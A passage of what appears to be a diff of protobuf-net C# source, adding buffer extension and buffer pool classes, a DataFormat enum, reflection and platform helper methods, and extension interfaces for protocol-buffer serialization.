||||
ProtoWriter.WriteFieldHeader(existing ? FieldExistingTypeKey : FieldNewTypeKey, WireType.Variant, dest);
|
||||
ProtoWriter.WriteInt32(typeKey, dest);
|
||||
if (!existing)
|
||||
{
|
||||
ProtoWriter.WriteFieldHeader(FieldTypeName, WireType.String, dest);
|
||||
ProtoWriter.WriteString(dest.SerializeType(type), dest);
|
||||
}
|
||||
|
||||
}
|
||||
ProtoWriter.WriteFieldHeader(FieldObject, wireType, dest);
|
||||
if (value is string)
|
||||
{
|
||||
ProtoWriter.WriteString((string)value, dest);
|
||||
}
|
||||
else {
|
||||
ProtoWriter.WriteObject(value, key, dest);
|
||||
}
|
||||
}
|
||||
ProtoWriter.EndSubItem(token, dest);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,73 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides a simple buffer-based implementation of an <see cref="IExtension">extension</see> object.
|
||||
/// </summary>
|
||||
public sealed class BufferExtension : IExtension
|
||||
{
|
||||
private byte[] buffer;
|
||||
|
||||
int IExtension.GetLength()
|
||||
{
|
||||
return buffer == null ? 0 : buffer.Length;
|
||||
}
|
||||
|
||||
Stream IExtension.BeginAppend()
|
||||
{
|
||||
return new MemoryStream();
|
||||
}
|
||||
|
||||
void IExtension.EndAppend(Stream stream, bool commit)
|
||||
{
|
||||
using (stream)
|
||||
{
|
||||
int len;
|
||||
if (commit && (len = (int)stream.Length) > 0)
|
||||
{
|
||||
MemoryStream ms = (MemoryStream)stream;
|
||||
|
||||
if (buffer == null)
|
||||
{ // allocate new buffer
|
||||
buffer = ms.ToArray();
|
||||
}
|
||||
else
|
||||
{ // resize and copy the data
|
||||
// note: Array.Resize not available on CF
|
||||
int offset = buffer.Length;
|
||||
byte[] tmp = new byte[offset + len];
|
||||
Helpers.BlockCopy(buffer, 0, tmp, 0, offset);
|
||||
|
||||
#if PORTABLE || WINRT // no GetBuffer() - fine, we'll use Read instead
|
||||
int bytesRead;
|
||||
long oldPos = ms.Position;
|
||||
ms.Position = 0;
|
||||
while (len > 0 && (bytesRead = ms.Read(tmp, offset, len)) > 0)
|
||||
{
|
||||
len -= bytesRead;
|
||||
offset += bytesRead;
|
||||
}
|
||||
if(len != 0) throw new EndOfStreamException();
|
||||
ms.Position = oldPos;
|
||||
#else
|
||||
Helpers.BlockCopy(ms.GetBuffer(), 0, tmp, offset, len);
|
||||
#endif
|
||||
buffer = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Stream IExtension.BeginQuery()
|
||||
{
|
||||
return buffer == null ? Stream.Null : new MemoryStream(buffer);
|
||||
}
|
||||
|
||||
void IExtension.EndQuery(Stream stream)
|
||||
{
|
||||
using (stream) { } // just clean up
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,103 @@
|
|||
|
||||
using System.Threading;
|
||||
namespace ProtoBuf
|
||||
{
|
||||
internal class BufferPool
|
||||
{
|
||||
internal static void Flush()
|
||||
{
|
||||
#if PLAT_NO_INTERLOCKED
|
||||
lock(pool)
|
||||
{
|
||||
for (int i = 0; i < pool.Length; i++) pool[i] = null;
|
||||
}
|
||||
#else
|
||||
for (int i = 0; i < pool.Length; i++)
|
||||
{
|
||||
Interlocked.Exchange(ref pool[i], null); // and drop the old value on the floor
|
||||
}
|
||||
#endif
|
||||
}
|
||||
private BufferPool() { }
|
||||
const int PoolSize = 20;
|
||||
internal const int BufferLength = 1024;
|
||||
private static readonly object[] pool = new object[PoolSize];
|
||||
|
||||
internal static byte[] GetBuffer()
|
||||
{
|
||||
object tmp;
|
||||
#if PLAT_NO_INTERLOCKED
|
||||
lock(pool)
|
||||
{
|
||||
for (int i = 0; i < pool.Length; i++)
|
||||
{
|
||||
if((tmp = pool[i]) != null)
|
||||
{
|
||||
pool[i] = null;
|
||||
return (byte[])tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
#else
|
||||
for (int i = 0; i < pool.Length; i++)
|
||||
{
|
||||
if ((tmp = Interlocked.Exchange(ref pool[i], null)) != null) return (byte[])tmp;
|
||||
}
|
||||
#endif
|
||||
return new byte[BufferLength];
|
||||
}
|
||||
internal static void ResizeAndFlushLeft(ref byte[] buffer, int toFitAtLeastBytes, int copyFromIndex, int copyBytes)
|
||||
{
|
||||
Helpers.DebugAssert(buffer != null);
|
||||
Helpers.DebugAssert(toFitAtLeastBytes > buffer.Length);
|
||||
Helpers.DebugAssert(copyFromIndex >= 0);
|
||||
Helpers.DebugAssert(copyBytes >= 0);
|
||||
|
||||
// try doubling, else match
|
||||
int newLength = buffer.Length * 2;
|
||||
if (newLength < toFitAtLeastBytes) newLength = toFitAtLeastBytes;
|
||||
|
||||
byte[] newBuffer = new byte[newLength];
|
||||
if (copyBytes > 0)
|
||||
{
|
||||
Helpers.BlockCopy(buffer, copyFromIndex, newBuffer, 0, copyBytes);
|
||||
}
|
||||
if (buffer.Length == BufferPool.BufferLength)
|
||||
{
|
||||
BufferPool.ReleaseBufferToPool(ref buffer);
|
||||
}
|
||||
buffer = newBuffer;
|
||||
}
|
||||
internal static void ReleaseBufferToPool(ref byte[] buffer)
|
||||
{
|
||||
if (buffer == null) return;
|
||||
if (buffer.Length == BufferLength)
|
||||
{
|
||||
#if PLAT_NO_INTERLOCKED
|
||||
lock (pool)
|
||||
{
|
||||
for (int i = 0; i < pool.Length; i++)
|
||||
{
|
||||
if(pool[i] == null)
|
||||
{
|
||||
pool[i] = buffer;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
#else
|
||||
for (int i = 0; i < pool.Length; i++)
|
||||
{
|
||||
if (Interlocked.CompareExchange(ref pool[i], buffer, null) == null)
|
||||
{
|
||||
break; // found a null; swapped it in
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
// if no space, just drop it on the floor
|
||||
buffer = null;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,42 @@
|
|||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Sub-format to use when serializing/deserializing data
|
||||
/// </summary>
|
||||
public enum DataFormat
|
||||
{
|
||||
/// <summary>
|
||||
/// Uses the default encoding for the data-type.
|
||||
/// </summary>
|
||||
Default,
|
||||
|
||||
/// <summary>
|
||||
/// When applied to signed integer-based data (including Decimal), this
|
||||
/// indicates that zigzag variant encoding will be used. This means that values
|
||||
/// with small magnitude (regardless of sign) take a small amount
|
||||
/// of space to encode.
|
||||
/// </summary>
|
||||
ZigZag,
|
||||
|
||||
/// <summary>
|
||||
/// When applied to signed integer-based data (including Decimal), this
|
||||
/// indicates that two's-complement variant encoding will be used.
|
||||
/// This means that any -ve number will take 10 bytes (even for 32-bit),
|
||||
/// so should only be used for compatibility.
|
||||
/// </summary>
|
||||
TwosComplement,
|
||||
|
||||
/// <summary>
|
||||
/// When applied to signed integer-based data (including Decimal), this
|
||||
/// indicates that a fixed amount of space will be used.
|
||||
/// </summary>
|
||||
FixedSize,
|
||||
|
||||
/// <summary>
|
||||
/// When applied to a sub-message, indicates that the value should be treated
|
||||
/// as group-delimited.
|
||||
/// </summary>
|
||||
Group
|
||||
}
|
||||
}
|
|
@ -0,0 +1,580 @@
|
|||
|
||||
using System;
|
||||
using System.Collections;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Not all frameworks are created equal (fx1.1 vs fx2.0,
|
||||
/// micro-framework, compact-framework,
|
||||
/// silverlight, etc). This class simply wraps up a few things that would
|
||||
/// otherwise make the real code unnecessarily messy, providing fallback
|
||||
/// implementations if necessary.
|
||||
/// </summary>
|
||||
internal class Helpers
|
||||
{
|
||||
private Helpers() { }
|
||||
|
||||
public static System.Text.StringBuilder AppendLine(System.Text.StringBuilder builder)
|
||||
{
|
||||
#if CF2
|
||||
return builder.Append("\r\n");
|
||||
#elif FX11
|
||||
return builder.Append(Environment.NewLine);
|
||||
#else
|
||||
return builder.AppendLine();
|
||||
#endif
|
||||
}
|
||||
public static bool IsNullOrEmpty(string value)
|
||||
{ // yes, FX11 lacks this!
|
||||
return value == null || value.Length == 0;
|
||||
}
|
||||
|
||||
[System.Diagnostics.Conditional("DEBUG")]
|
||||
public static void DebugWriteLine(string message, object obj)
|
||||
{
|
||||
string suffix;
|
||||
try
|
||||
{
|
||||
suffix = obj == null ? "(null)" : obj.ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
suffix = "(exception)";
|
||||
}
|
||||
DebugWriteLine(message + ": " + suffix);
|
||||
}
|
||||
[System.Diagnostics.Conditional("DEBUG")]
|
||||
public static void DebugWriteLine(string message)
|
||||
{
|
||||
#if MF
|
||||
Microsoft.SPOT.Debug.Print(message);
|
||||
#else
|
||||
System.Diagnostics.Debug.WriteLine(message);
|
||||
#endif
|
||||
}
|
||||
[System.Diagnostics.Conditional("TRACE")]
|
||||
public static void TraceWriteLine(string message)
|
||||
{
|
||||
#if MF
|
||||
Microsoft.SPOT.Trace.Print(message);
|
||||
#elif SILVERLIGHT || MONODROID || CF2 || WINRT || IOS || PORTABLE
|
||||
System.Diagnostics.Debug.WriteLine(message);
|
||||
#else
|
||||
System.Diagnostics.Trace.WriteLine(message);
|
||||
#endif
|
||||
}
|
||||
|
||||
[System.Diagnostics.Conditional("DEBUG")]
|
||||
public static void DebugAssert(bool condition, string message)
|
||||
{
|
||||
if (!condition)
|
||||
{
|
||||
#if MF
|
||||
Microsoft.SPOT.Debug.Assert(false, message);
|
||||
#else
|
||||
System.Diagnostics.Debug.Assert(false, message);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
[System.Diagnostics.Conditional("DEBUG")]
|
||||
public static void DebugAssert(bool condition, string message, params object[] args)
|
||||
{
|
||||
if (!condition) DebugAssert(false, string.Format(message, args));
|
||||
}
|
||||
[System.Diagnostics.Conditional("DEBUG")]
|
||||
public static void DebugAssert(bool condition)
|
||||
{
|
||||
|
||||
#if MF
|
||||
Microsoft.SPOT.Debug.Assert(condition);
|
||||
#else
|
||||
if(!condition && System.Diagnostics.Debugger.IsAttached) System.Diagnostics.Debugger.Break();
|
||||
System.Diagnostics.Debug.Assert(condition);
|
||||
#endif
|
||||
}
|
||||
#if !NO_RUNTIME
|
||||
public static void Sort(int[] keys, object[] values)
|
||||
{
|
||||
// bubble-sort; it'll work on MF, has small code,
|
||||
// and works well-enough for our sizes. This approach
|
||||
// also allows us to do `int` compares without having
|
||||
// to go via IComparable etc, so win:win
|
||||
bool swapped;
|
||||
do {
|
||||
swapped = false;
|
||||
for (int i = 1; i < keys.Length; i++) {
|
||||
if (keys[i - 1] > keys[i]) {
|
||||
int tmpKey = keys[i];
|
||||
keys[i] = keys[i - 1];
|
||||
keys[i - 1] = tmpKey;
|
||||
object tmpValue = values[i];
|
||||
values[i] = values[i - 1];
|
||||
values[i - 1] = tmpValue;
|
||||
swapped = true;
|
||||
}
|
||||
}
|
||||
} while (swapped);
|
||||
}
|
||||
#endif
|
||||
public static void BlockCopy(byte[] from, int fromIndex, byte[] to, int toIndex, int count)
|
||||
{
|
||||
#if MF || WINRT
|
||||
Array.Copy(from, fromIndex, to, toIndex, count);
|
||||
#else
|
||||
Buffer.BlockCopy(from, fromIndex, to, toIndex, count);
|
||||
#endif
|
||||
}
|
||||
public static bool IsInfinity(float value)
|
||||
{
|
||||
#if MF
|
||||
const float inf = (float)1.0 / (float)0.0, minf = (float)-1.0F / (float)0.0;
|
||||
return value == inf || value == minf;
|
||||
#else
|
||||
return float.IsInfinity(value);
|
||||
#endif
|
||||
}
|
||||
#if WINRT
|
||||
internal static MemberInfo GetInstanceMember(TypeInfo declaringType, string name)
|
||||
{
|
||||
PropertyInfo prop = declaringType.GetDeclaredProperty(name);
|
||||
MethodInfo method;
|
||||
if (prop != null && (method = Helpers.GetGetMethod(prop, true, true)) != null && !method.IsStatic) return prop;
|
||||
|
||||
FieldInfo field = declaringType.GetDeclaredField(name);
|
||||
if (field != null && !field.IsStatic) return field;
|
||||
|
||||
return null;
|
||||
}
|
||||
internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name)
|
||||
{
|
||||
foreach (MethodInfo method in declaringType.DeclaredMethods)
|
||||
{
|
||||
if (!method.IsStatic && method.Name == name)
|
||||
{
|
||||
return method;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
internal static MethodInfo GetStaticMethod(TypeInfo declaringType, string name)
|
||||
{
|
||||
foreach (MethodInfo method in declaringType.DeclaredMethods)
|
||||
{
|
||||
if (method.IsStatic && method.Name == name)
|
||||
{
|
||||
return method;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name, Type[] types)
|
||||
{
|
||||
if (types == null) types = EmptyTypes;
|
||||
foreach (MethodInfo method in declaringType.DeclaredMethods)
|
||||
{
|
||||
if (!method.IsStatic && method.Name == name)
|
||||
{
|
||||
if(IsMatch(method.GetParameters(), types)) return method;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
#else
|
||||
internal static MethodInfo GetInstanceMethod(Type declaringType, string name)
|
||||
{
|
||||
return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
|
||||
}
|
||||
internal static MethodInfo GetStaticMethod(Type declaringType, string name)
|
||||
{
|
||||
return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
|
||||
}
|
||||
internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types)
|
||||
{
|
||||
if(types == null) types = EmptyTypes;
|
||||
#if PORTABLE
|
||||
MethodInfo method = declaringType.GetMethod(name, types);
|
||||
if (method != null && method.IsStatic) method = null;
|
||||
return method;
|
||||
#else
|
||||
return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic,
|
||||
null, types, null);
|
||||
#endif
|
||||
}
|
||||
#endif
|
||||
|
||||
internal static bool IsSubclassOf(Type type, Type baseClass)
|
||||
{
|
||||
#if WINRT
|
||||
return type.GetTypeInfo().IsSubclassOf(baseClass);
|
||||
#else
|
||||
return type.IsSubclassOf(baseClass);
|
||||
#endif
|
||||
}
|
||||
|
||||
public static bool IsInfinity(double value)
|
||||
{
|
||||
#if MF
|
||||
const double inf = (double)1.0 / (double)0.0, minf = (double)-1.0F / (double)0.0;
|
||||
return value == inf || value == minf;
|
||||
#else
|
||||
return double.IsInfinity(value);
|
||||
#endif
|
||||
}
|
||||
public readonly static Type[] EmptyTypes = new Type[0];
|
||||
|
||||
#if WINRT
|
||||
private static readonly Type[] knownTypes = new Type[] {
|
||||
typeof(bool), typeof(char), typeof(sbyte), typeof(byte),
|
||||
typeof(short), typeof(ushort), typeof(int), typeof(uint),
|
||||
typeof(long), typeof(ulong), typeof(float), typeof(double),
|
||||
typeof(decimal), typeof(string),
|
||||
typeof(DateTime), typeof(TimeSpan), typeof(Guid), typeof(Uri),
|
||||
typeof(byte[]), typeof(System.Type)};
|
||||
private static readonly ProtoTypeCode[] knownCodes = new ProtoTypeCode[] {
|
||||
ProtoTypeCode.Boolean, ProtoTypeCode.Char, ProtoTypeCode.SByte, ProtoTypeCode.Byte,
|
||||
ProtoTypeCode.Int16, ProtoTypeCode.UInt16, ProtoTypeCode.Int32, ProtoTypeCode.UInt32,
|
||||
ProtoTypeCode.Int64, ProtoTypeCode.UInt64, ProtoTypeCode.Single, ProtoTypeCode.Double,
|
||||
ProtoTypeCode.Decimal, ProtoTypeCode.String,
|
||||
ProtoTypeCode.DateTime, ProtoTypeCode.TimeSpan, ProtoTypeCode.Guid, ProtoTypeCode.Uri,
|
||||
ProtoTypeCode.ByteArray, ProtoTypeCode.Type
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
#if FEAT_IKVM
|
||||
public static ProtoTypeCode GetTypeCode(IKVM.Reflection.Type type)
|
||||
{
|
||||
TypeCode code = IKVM.Reflection.Type.GetTypeCode(type);
|
||||
switch (code)
|
||||
{
|
||||
case TypeCode.Empty:
|
||||
case TypeCode.Boolean:
|
||||
case TypeCode.Char:
|
||||
case TypeCode.SByte:
|
||||
case TypeCode.Byte:
|
||||
case TypeCode.Int16:
|
||||
case TypeCode.UInt16:
|
||||
case TypeCode.Int32:
|
||||
case TypeCode.UInt32:
|
||||
case TypeCode.Int64:
|
||||
case TypeCode.UInt64:
|
||||
case TypeCode.Single:
|
||||
case TypeCode.Double:
|
||||
case TypeCode.Decimal:
|
||||
case TypeCode.DateTime:
|
||||
case TypeCode.String:
|
||||
return (ProtoTypeCode)code;
|
||||
}
|
||||
switch(type.FullName)
|
||||
{
|
||||
case "System.TimeSpan": return ProtoTypeCode.TimeSpan;
|
||||
case "System.Guid": return ProtoTypeCode.Guid;
|
||||
case "System.Uri": return ProtoTypeCode.Uri;
|
||||
case "System.Byte[]": return ProtoTypeCode.ByteArray;
|
||||
case "System.Type": return ProtoTypeCode.Type;
|
||||
}
|
||||
return ProtoTypeCode.Unknown;
|
||||
}
|
||||
#endif
|
||||
|
||||
public static ProtoTypeCode GetTypeCode(System.Type type)
|
||||
{
|
||||
#if WINRT
|
||||
|
||||
int idx = Array.IndexOf<Type>(knownTypes, type);
|
||||
if (idx >= 0) return knownCodes[idx];
|
||||
return type == null ? ProtoTypeCode.Empty : ProtoTypeCode.Unknown;
|
||||
#else
|
||||
TypeCode code = System.Type.GetTypeCode(type);
|
||||
switch (code)
|
||||
{
|
||||
case TypeCode.Empty:
|
||||
case TypeCode.Boolean:
|
||||
case TypeCode.Char:
|
||||
case TypeCode.SByte:
|
||||
case TypeCode.Byte:
|
||||
case TypeCode.Int16:
|
||||
case TypeCode.UInt16:
|
||||
case TypeCode.Int32:
|
||||
case TypeCode.UInt32:
|
||||
case TypeCode.Int64:
|
||||
case TypeCode.UInt64:
|
||||
case TypeCode.Single:
|
||||
case TypeCode.Double:
|
||||
case TypeCode.Decimal:
|
||||
case TypeCode.DateTime:
|
||||
case TypeCode.String:
|
||||
return (ProtoTypeCode)code;
|
||||
}
|
||||
if (type == typeof(TimeSpan)) return ProtoTypeCode.TimeSpan;
|
||||
if (type == typeof(Guid)) return ProtoTypeCode.Guid;
|
||||
if (type == typeof(Uri)) return ProtoTypeCode.Uri;
|
||||
if (type == typeof(byte[])) return ProtoTypeCode.ByteArray;
|
||||
if (type == typeof(System.Type)) return ProtoTypeCode.Type;
|
||||
|
||||
return ProtoTypeCode.Unknown;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
#if FEAT_IKVM
|
||||
internal static IKVM.Reflection.Type GetUnderlyingType(IKVM.Reflection.Type type)
|
||||
{
|
||||
if (type.IsValueType && type.IsGenericType && type.GetGenericTypeDefinition().FullName == "System.Nullable`1")
|
||||
{
|
||||
return type.GetGenericArguments()[0];
|
||||
}
|
||||
return null;
|
||||
}
|
||||
#endif
|
||||
|
||||
internal static System.Type GetUnderlyingType(System.Type type)
|
||||
{
|
||||
#if NO_GENERICS
|
||||
return null; // never a Nullable<T>, so always returns null
|
||||
#else
|
||||
return Nullable.GetUnderlyingType(type);
|
||||
#endif
|
||||
}
|
||||
|
||||
internal static bool IsValueType(Type type)
|
||||
{
|
||||
#if WINRT
|
||||
return type.GetTypeInfo().IsValueType;
|
||||
#else
|
||||
return type.IsValueType;
|
||||
#endif
|
||||
}
|
||||
|
||||
internal static bool IsEnum(Type type)
|
||||
{
|
||||
#if WINRT
|
||||
return type.GetTypeInfo().IsEnum;
|
||||
#else
|
||||
return type.IsEnum;
|
||||
#endif
|
||||
}
|
||||
|
||||
internal static MethodInfo GetGetMethod(PropertyInfo property, bool nonPublic, bool allowInternal)
|
||||
{
|
||||
if (property == null) return null;
|
||||
#if WINRT
|
||||
MethodInfo method = property.GetMethod;
|
||||
if (!nonPublic && method != null && !method.IsPublic) method = null;
|
||||
return method;
|
||||
#else
|
||||
MethodInfo method = property.GetGetMethod(nonPublic);
|
||||
if (method == null && !nonPublic && allowInternal)
|
||||
{ // could be "internal" or "protected internal"; look for a non-public, then back-check
|
||||
method = property.GetGetMethod(true);
|
||||
if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly))
|
||||
{
|
||||
method = null;
|
||||
}
|
||||
}
|
||||
return method;
|
||||
#endif
|
||||
}
|
||||
internal static MethodInfo GetSetMethod(PropertyInfo property, bool nonPublic, bool allowInternal)
|
||||
{
|
||||
if (property == null) return null;
|
||||
#if WINRT
|
||||
MethodInfo method = property.SetMethod;
|
||||
if (!nonPublic && method != null && !method.IsPublic) method = null;
|
||||
return method;
|
||||
#else
|
||||
MethodInfo method = property.GetSetMethod(nonPublic);
|
||||
if (method == null && !nonPublic && allowInternal)
|
||||
{ // could be "internal" or "protected internal"; look for a non-public, then back-check
|
||||
method = property.GetGetMethod(true);
|
||||
if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly))
|
||||
{
|
||||
method = null;
|
||||
}
|
||||
}
|
||||
return method;
|
||||
#endif
|
||||
}
|
||||
|
||||
#if FEAT_IKVM
|
||||
internal static bool IsMatch(IKVM.Reflection.ParameterInfo[] parameters, IKVM.Reflection.Type[] parameterTypes)
|
||||
{
|
||||
if (parameterTypes == null) parameterTypes = Helpers.EmptyTypes;
|
||||
if (parameters.Length != parameterTypes.Length) return false;
|
||||
for (int i = 0; i < parameters.Length; i++)
|
||||
{
|
||||
if (parameters[i].ParameterType != parameterTypes[i]) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
#if WINRT
|
||||
private static bool IsMatch(ParameterInfo[] parameters, Type[] parameterTypes)
|
||||
{
|
||||
if (parameterTypes == null) parameterTypes = EmptyTypes;
|
||||
if (parameters.Length != parameterTypes.Length) return false;
|
||||
for (int i = 0; i < parameters.Length; i++)
|
||||
{
|
||||
if (parameters[i].ParameterType != parameterTypes[i]) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
internal static ConstructorInfo GetConstructor(TypeInfo type, Type[] parameterTypes, bool nonPublic)
|
||||
{
|
||||
foreach (ConstructorInfo ctor in type.DeclaredConstructors)
|
||||
{
|
||||
if (!nonPublic && !ctor.IsPublic) continue;
|
||||
if (IsMatch(ctor.GetParameters(), parameterTypes)) return ctor;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
internal static ConstructorInfo[] GetConstructors(TypeInfo typeInfo, bool nonPublic)
|
||||
{
|
||||
if (nonPublic) return System.Linq.Enumerable.ToArray(typeInfo.DeclaredConstructors);
|
||||
return System.Linq.Enumerable.ToArray(
|
||||
System.Linq.Enumerable.Where(typeInfo.DeclaredConstructors, x => x.IsPublic));
|
||||
}
|
||||
internal static PropertyInfo GetProperty(TypeInfo type, string name, bool nonPublic)
|
||||
{
|
||||
return type.GetDeclaredProperty(name);
|
||||
}
|
||||
#else
|
||||
|
||||
internal static ConstructorInfo GetConstructor(Type type, Type[] parameterTypes, bool nonPublic)
|
||||
{
|
||||
#if PORTABLE
|
||||
// pretty sure this will only ever return public, but...
|
||||
ConstructorInfo ctor = type.GetConstructor(parameterTypes);
|
||||
return (ctor != null && (nonPublic || ctor.IsPublic)) ? ctor : null;
|
||||
#else
|
||||
return type.GetConstructor(
|
||||
nonPublic ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic
|
||||
: BindingFlags.Instance | BindingFlags.Public,
|
||||
null, parameterTypes, null);
|
||||
#endif
|
||||
|
||||
}
|
||||
internal static ConstructorInfo[] GetConstructors(Type type, bool nonPublic)
|
||||
{
|
||||
return type.GetConstructors(
|
||||
nonPublic ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic
|
||||
: BindingFlags.Instance | BindingFlags.Public);
|
||||
}
|
||||
internal static PropertyInfo GetProperty(Type type, string name, bool nonPublic)
|
||||
{
|
||||
return type.GetProperty(name,
|
||||
nonPublic ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic
|
||||
: BindingFlags.Instance | BindingFlags.Public);
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
internal static object ParseEnum(Type type, string value)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
FieldInfo[] fields = type.GetFields();
|
||||
foreach (FieldInfo field in fields)
|
||||
{
|
||||
if (string.Equals(field.Name, value, StringComparison.OrdinalIgnoreCase)) return field.GetRawConstantValue();
|
||||
}
|
||||
throw new ArgumentException("Enum value could not be parsed: " + value + ", " + type.FullName);
|
||||
#else
|
||||
return Enum.Parse(type, value, true);
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
internal static MemberInfo[] GetInstanceFieldsAndProperties(Type type, bool publicOnly)
|
||||
{
|
||||
#if WINRT
|
||||
System.Collections.Generic.List<MemberInfo> members = new System.Collections.Generic.List<MemberInfo>();
|
||||
foreach(FieldInfo field in type.GetRuntimeFields())
|
||||
{
|
||||
if(field.IsStatic) continue;
|
||||
if(field.IsPublic || !publicOnly) members.Add(field);
|
||||
}
|
||||
foreach(PropertyInfo prop in type.GetRuntimeProperties())
|
||||
{
|
||||
MethodInfo getter = Helpers.GetGetMethod(prop, true, true);
|
||||
if(getter == null || getter.IsStatic) continue;
|
||||
if(getter.IsPublic || !publicOnly) members.Add(prop);
|
||||
}
|
||||
return members.ToArray();
|
||||
#else
|
||||
BindingFlags flags = publicOnly ? BindingFlags.Public | BindingFlags.Instance : BindingFlags.Public | BindingFlags.Instance | BindingFlags.NonPublic;
|
||||
PropertyInfo[] props = type.GetProperties(flags);
|
||||
FieldInfo[] fields = type.GetFields(flags);
|
||||
MemberInfo[] members = new MemberInfo[fields.Length + props.Length];
|
||||
props.CopyTo(members, 0);
|
||||
fields.CopyTo(members, props.Length);
|
||||
return members;
|
||||
#endif
|
||||
}
|
||||
|
||||
internal static Type GetMemberType(MemberInfo member)
|
||||
{
|
||||
#if WINRT || PORTABLE
|
||||
PropertyInfo prop = member as PropertyInfo;
|
||||
if (prop != null) return prop.PropertyType;
|
||||
FieldInfo fld = member as FieldInfo;
|
||||
return fld == null ? null : fld.FieldType;
|
||||
#else
|
||||
switch(member.MemberType)
|
||||
{
|
||||
case MemberTypes.Field: return ((FieldInfo) member).FieldType;
|
||||
case MemberTypes.Property: return ((PropertyInfo) member).PropertyType;
|
||||
default: return null;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
internal static bool IsAssignableFrom(Type target, Type type)
|
||||
{
|
||||
#if WINRT
|
||||
return target.GetTypeInfo().IsAssignableFrom(type.GetTypeInfo());
|
||||
#else
|
||||
return target.IsAssignableFrom(type);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// Intended to be a direct map to regular TypeCode, but:
|
||||
/// - with missing types
|
||||
/// - existing on WinRT
|
||||
/// </summary>
|
||||
internal enum ProtoTypeCode
|
||||
{
|
||||
Empty = 0,
|
||||
Unknown = 1, // maps to TypeCode.Object
|
||||
Boolean = 3,
|
||||
Char = 4,
|
||||
SByte = 5,
|
||||
Byte = 6,
|
||||
Int16 = 7,
|
||||
UInt16 = 8,
|
||||
Int32 = 9,
|
||||
UInt32 = 10,
|
||||
Int64 = 11,
|
||||
UInt64 = 12,
|
||||
Single = 13,
|
||||
Double = 14,
|
||||
Decimal = 15,
|
||||
DateTime = 16,
|
||||
String = 18,
|
||||
|
||||
// additions
|
||||
TimeSpan = 100,
|
||||
ByteArray = 101,
|
||||
Guid = 102,
|
||||
Uri = 103,
|
||||
Type = 104
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Indicates that the implementing type has support for protocol-buffer
|
||||
/// <see cref="IExtension">extensions</see>.
|
||||
/// </summary>
|
||||
/// <remarks>Can be implemented by deriving from Extensible.</remarks>
|
||||
public interface IExtensible
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the <see cref="IExtension">extension</see> object for the current
|
||||
/// instance, optionally creating it if it does not already exist.
|
||||
/// </summary>
|
||||
/// <param name="createIfMissing">Should a new extension object be
|
||||
/// created if it does not already exist?</param>
|
||||
/// <returns>The extension object if it exists (or was created), or null
|
||||
/// if the extension object does not exist or is not available.</returns>
|
||||
/// <remarks>The <c>createIfMissing</c> argument is false during serialization,
|
||||
/// and true during deserialization upon encountering unexpected fields.</remarks>
|
||||
IExtension GetExtensionObject(bool createIfMissing);
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -0,0 +1,47 @@
|
|||
|
||||
using System.IO;
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides addition capability for supporting unexpected fields during
|
||||
/// protocol-buffer serialization/deserialization. This allows for loss-less
|
||||
/// round-trip/merge, even when the data is not fully understood.
|
||||
/// </summary>
|
||||
public interface IExtension
|
||||
{
|
||||
/// <summary>
|
||||
/// Requests a stream into which any unexpected fields can be persisted.
|
||||
/// </summary>
|
||||
/// <returns>A new stream suitable for storing data.</returns>
|
||||
Stream BeginAppend();
|
||||
|
||||
/// <summary>
|
||||
/// Indicates that all unexpected fields have now been stored. The
|
||||
/// implementing class is responsible for closing the stream. If
|
||||
/// "commit" is not true the data may be discarded.
|
||||
/// </summary>
|
||||
/// <param name="stream">The stream originally obtained by BeginAppend.</param>
|
||||
/// <param name="commit">True if the append operation completed successfully.</param>
|
||||
void EndAppend(Stream stream, bool commit);
|
||||
|
||||
/// <summary>
|
||||
/// Requests a stream of the unexpected fields previously stored.
|
||||
